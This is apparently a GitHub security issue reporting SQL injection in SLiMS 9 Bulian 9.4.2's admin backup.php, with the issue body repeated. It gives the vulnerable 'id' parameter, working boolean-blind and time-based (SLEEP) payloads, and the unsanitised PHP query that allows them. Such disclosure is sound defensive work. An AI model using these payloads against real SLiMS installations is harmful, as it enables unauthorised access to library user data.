Slims9 Bulian 9.4.2 is affected by SQL injection in /admin/modules/system/backup.php. User data can be obtained.
SQL injection exists in the /admin/modules/system/backup.php file. There is no effective defense against the comment field, leading to SQL injection attacks.
The link is: `http://192.168.31.63/admin/modules/system/backup.php?action=download&id=1`
Vulnerable parameter `id`
SQL injection payload
`Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: action=download&id=2 OR NOT 8551=8551
`
`Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=download&id=2 AND (SELECT 7623 FROM (SELECT(SLEEP(5)))zpJu)`
<img width="558" alt="7" src="https://user-images.githubusercontent.com/18564938/147107829-026df7bf-f459-43e8-8388-4508075483bc.png">
The problematic code
`if(isset($_GET['action']) && isset($_GET['id']) && $_GET['action'] == 'download'){
  $id = utility::filterData('id', 'get', true, true, true);
  $_q = $dbs->query("SELECT backup_file FROM backup_log WHERE backup_log_id=".$id);
  $path = $_q->fetch_row()[0];`
[Security Bugs] SQL Injection
This is a GitHub Issue
repo:slims9_bulian
owner:slims
Title : [Security Bugs] SQL Injection
Issue date:

--- start body ---
SQL injection exists in the /admin/modules/system/backup.php file. There is no effective defense against the comment field, leading to SQL injection attacks.
The link is: `http://192.168.31.63/admin/modules/system/backup.php?action=download&id=1`
Vulnerable parameter `id`
SQL injection payload
`Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: action=download&id=2 OR NOT 8551=8551
`
`Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=download&id=2 AND (SELECT 7623 FROM (SELECT(SLEEP(5)))zpJu)`
<img width="558" alt="7" src="https://user-images.githubusercontent.com/18564938/147107829-026df7bf-f459-43e8-8388-4508075483bc.png">
The problematic code
`if(isset($_GET['action']) && isset($_GET['id']) && $_GET['action'] == 'download'){
  $id = utility::filterData('id', 'get', true, true, true);
  $_q = $dbs->query("SELECT backup_file FROM backup_log WHERE backup_log_id=".$id);
  $path = $_q->fetch_row()[0];`
--- end body ---

SQL injection vulnerability in the /admin/modules/system/backup.php file of the application allows attackers to manipulate SQL queries through the 'id' parameter. The lack of proper input validation and sanitization enables the execution of arbitrary SQL commands, which can lead to unauthorized data access or modification.